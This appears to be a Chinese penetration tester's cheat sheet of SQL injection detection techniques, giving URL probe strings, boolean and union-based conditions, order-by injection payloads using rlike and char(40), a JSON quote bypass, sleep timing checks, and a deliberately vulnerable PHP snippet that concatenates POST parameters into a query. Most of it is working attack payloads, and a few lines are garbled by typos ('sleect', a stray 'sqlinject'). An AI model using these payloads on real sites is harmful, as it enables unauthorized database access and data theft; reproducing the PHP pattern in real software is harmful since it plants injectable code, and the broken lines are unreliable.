SQL注入判断方法总结（持续更新）

http://e.com/1.php?id=1
http://e.com/1.php?id=1-- sd
 
http://e.com/1.php?id=aaa
http://e.com/1.php?id=aaa'-- sd
 
http://e.com/1.php?id=aaa
http://e.com/1.php?id=aaa' '
http://e.com/1.php?id=aaa'||'
http://e.com/1.php?id=aaa'%2b'
 
id=1 and 1=if(1=2,1,(select 1 union select 2)) 
id=1 and 1=if(1=1,1,(select 1 union select 2))
 
id=1 order by 1 正常
id=1 order by 1,  错误
id=1 order by 1, 1 正常

Content-Type: application/json 时： 
可以尝试用 u0027  代替单引号。

 orderby 注入：

<?php
$con = mysql_connect("localhost","root","123456") or die();
mysql_select_db("burp");
$orderby = $_POST['orderby'];
$order = $_POST['order'];
$sql = "select * from `sql` order by ".$orderby." ".$order;
echo $sql;
$res = mysql_query($sql);
echo "<br><br>";
echo "<b>";
while($rows = @mysql_fetch_array($res,MYSQL_ASSOC)){
    echo $rows['new'];
}
echo "<b>";
?>

上面的代码 $orderby 和 $order 都存在注入

这里一般遇到order orderby 参数 我一般会这样来测

orderby=id,&order=asc

orderby=id,1&order=asc

所以可以这样来进行注入 

,if(1=1,1,(select 1 union sleect 2))

,if(1=2,1,(select 1 union sleect 2))

然后就可以放进sqlmap 愉快的跑了。

order 参数同上。

下面说另外一种注入方法：

先列2个语句

mysql> select user from mysql.user where user='admin' order by user rlike char(40);
ERROR 1139 (42000): Got error 'parentheses not balanced' from regexp
mysql> select user from mysql.user where user='admin' order by user rlike 1;
+-------+
| user  |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

所以就可以构造这样的语句

orderby=id&order=rlike if(1=1,1,char(40))

orderby=id&order=rlike if(1=21,1,char(40))

或者 rlike (case when 1=1 then 1 else (select 1 union select 2)end)

跑数据就可以

rlike (case when 1=1 sqlinject then 1 else (select 1 union select 2)end)

最后也可以 使用sleep 来进行判断注入

orderby=sleep(1)&order=asc